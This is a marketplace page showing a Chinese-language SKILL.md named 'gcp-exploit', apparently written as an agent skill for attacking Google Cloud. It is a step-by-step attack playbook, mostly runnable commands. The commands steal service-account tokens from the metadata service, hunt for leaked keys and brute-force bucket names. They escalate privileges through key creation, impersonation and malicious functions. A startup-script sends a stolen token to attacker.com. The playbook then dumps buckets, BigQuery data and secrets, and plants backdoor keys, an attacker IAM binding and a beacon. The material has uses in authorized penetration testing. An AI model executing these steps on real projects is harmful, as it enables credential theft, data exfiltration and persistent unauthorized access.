Skip to main content

gcp-exploit

GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举

Source facts

Repository
wgpsec/AboutSecurity
Last source activity
May 21, 2026 at 13:05
Detected SKILL.md language
Chinese
Stars
1,790
Forks
248

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
3 files

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
gcp-exploit
description
GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举
metadata
{"tags":"gcp,google cloud,service account,metadata,iam,gke,bucket,云攻击,GCP提权","category":"cloud","mitre_attack":"T1078.004,T1552.005,T1530,T1611"}
# GCP 云环境攻击方法论 > **与 AWS 的区别**:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径 ## ⛔ 深入参考 - GCP IAM 提权路径详解 → [references/gcp-iam-privesc.md](references/gcp-iam-privesc.md) - GKE 攻击与逃逸 → [references/gke-attack.md](references/gke-attack.md) --- ## Phase 1: 初始访问与信息收集 ### 1.1 Metadata 服务利用(SSRF → GCP 凭据) ```bash # GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token) curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/ # 获取 Service Account Token curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" # 获取项目信息 curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/project/project-id" # 获取实例属性(可能含敏感配置) curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true" # SSH 密钥(如果在 metadata 中配置) curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys" ``` ### 1.2 Service Account 密钥发现 ```bash # 搜索泄露的 SA 密钥(JSON 格式) grep -r "private_key_id" /path/to/code/ find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \; # 常见位置 # ~/.config/gcloud/ # /root/.config/gcloud/application_default_credentials.json # 环境变量: GOOGLE_APPLICATION_CREDENTIALS # Kubernetes Secrets: /var/run/secrets/... # GitHub/GitLab 泄露 ``` ### 1.3 Bucket 枚举 ```bash # 公开 Bucket 探测 # GCP Bucket URL 格式: # https://storage.googleapis.com/BUCKET_NAME # gs://BUCKET_NAME # 常见命名模式探测 for prefix in target target-prod target-dev target-backup target-assets; do status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix") echo "$prefix: $status" done # 使用 GCPBucketBrute python3 gcpbucketbrute.py -k target -o results.txt ``` ## Phase 2: 认证与权限确认 ```bash # 使用窃取的 SA 密钥认证 gcloud auth activate-service-account --key-file=stolen-key.json # 或使用 access token gcloud config set auth/access_token_file /tmp/token.txt # 确认身份 gcloud auth list gcloud config get-value project # 枚举权限 # 列出当前 SA 的 IAM 角色 gcloud projects get-iam-policy $(gcloud config get-value project) \ --flatten="bindings[].members" \ --filter="bindings.members:$(gcloud config get-value account)" # 测试具体权限 gcloud asset search-all-iam-policies --query="policy:roles/owner" ``` ## Phase 3: IAM 提权 ### 3.1 常见提权路径 ``` GCP IAM 提权路径: ├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥 ├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token ├─ iam.serviceAccounts.implicitDelegation → 链式委托 ├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA ├─ iam.serviceAccounts.signJwt → 直接签署 JWT ├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源 ├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行 ├─ compute.instances.create → 创建 VM 挂载高权限 SA ├─ run.services.create → 创建 Cloud Run 挂载 SA └─ orgpolicy.policy.set → 修改组织策略 ``` ### 3.2 利用示例 ```bash # 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create) gcloud iam service-accounts keys create /tmp/key.json \ --iam-account=high-priv-sa@project.iam.gserviceaccount.com # 2. 获取其他 SA 的 Token(如果有 getAccessToken) gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com # 3. 通过 Cloud Function 提权 gcloud functions deploy privesc \ --runtime python39 \ --trigger-http \ --service-account=high-priv-sa@project.iam.gserviceaccount.com \ --source=./malicious-function/ # 函数代码中以 high-priv SA 身份执行操作 # 4. 通过 Compute Instance 提权 gcloud compute instances create privesc-vm \ --service-account=high-priv-sa@project.iam.gserviceaccount.com \ --scopes=cloud-platform \ --metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token' ``` ## Phase 4: 数据访问 ```bash # Storage Bucket 操作 gsutil ls gs:// # 列出所有 bucket gsutil ls -r gs://target-bucket/ # 递归列出文件 gsutil cp gs://bucket/secret.txt ./ # 下载文件 gsutil cp -r gs://bucket/ ./local-dump/ # 下载全部 # BigQuery 数据导出 bq ls # 列出 datasets bq ls project:dataset # 列出 tables bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100" bq extract project:dataset.table gs://bucket/export.csv # Secret Manager gcloud secrets list gcloud secrets versions access latest --secret=db-password # Firestore/Datastore gcloud firestore export gs://bucket/firestore-dump ``` ## Phase 5: 持久化 ```bash # 1. 创建新 SA 密钥(最常见) gcloud iam service-accounts keys create backdoor.json \ --iam-account=existing-sa@project.iam.gserviceaccount.com # 2. 授予外部账户权限 gcloud projects add-iam-policy-binding PROJECT \ --member='user:attacker@gmail.com' --role='roles/editor' # 3. 创建 Cloud Function 定时回连 # 通过 Cloud Scheduler 触发 → 定时 beacon # 4. Compute Engine startup-script 持久化 gcloud compute instances add-metadata INSTANCE \ --metadata=startup-script='curl https://attacker.com/beacon' ``` ## 工具速查 | 工具 | 用途 | |------|------| | gcloud CLI | GCP 官方工具 | | GCPBucketBrute | Bucket 枚举 | | ScoutSuite | 多云安全审计 | | Prowler | GCP 安全检查 | | GCP IAM Privilege Escalation | 提权检查工具 | | Hayat | GCP 攻击框架 |
View on GitHub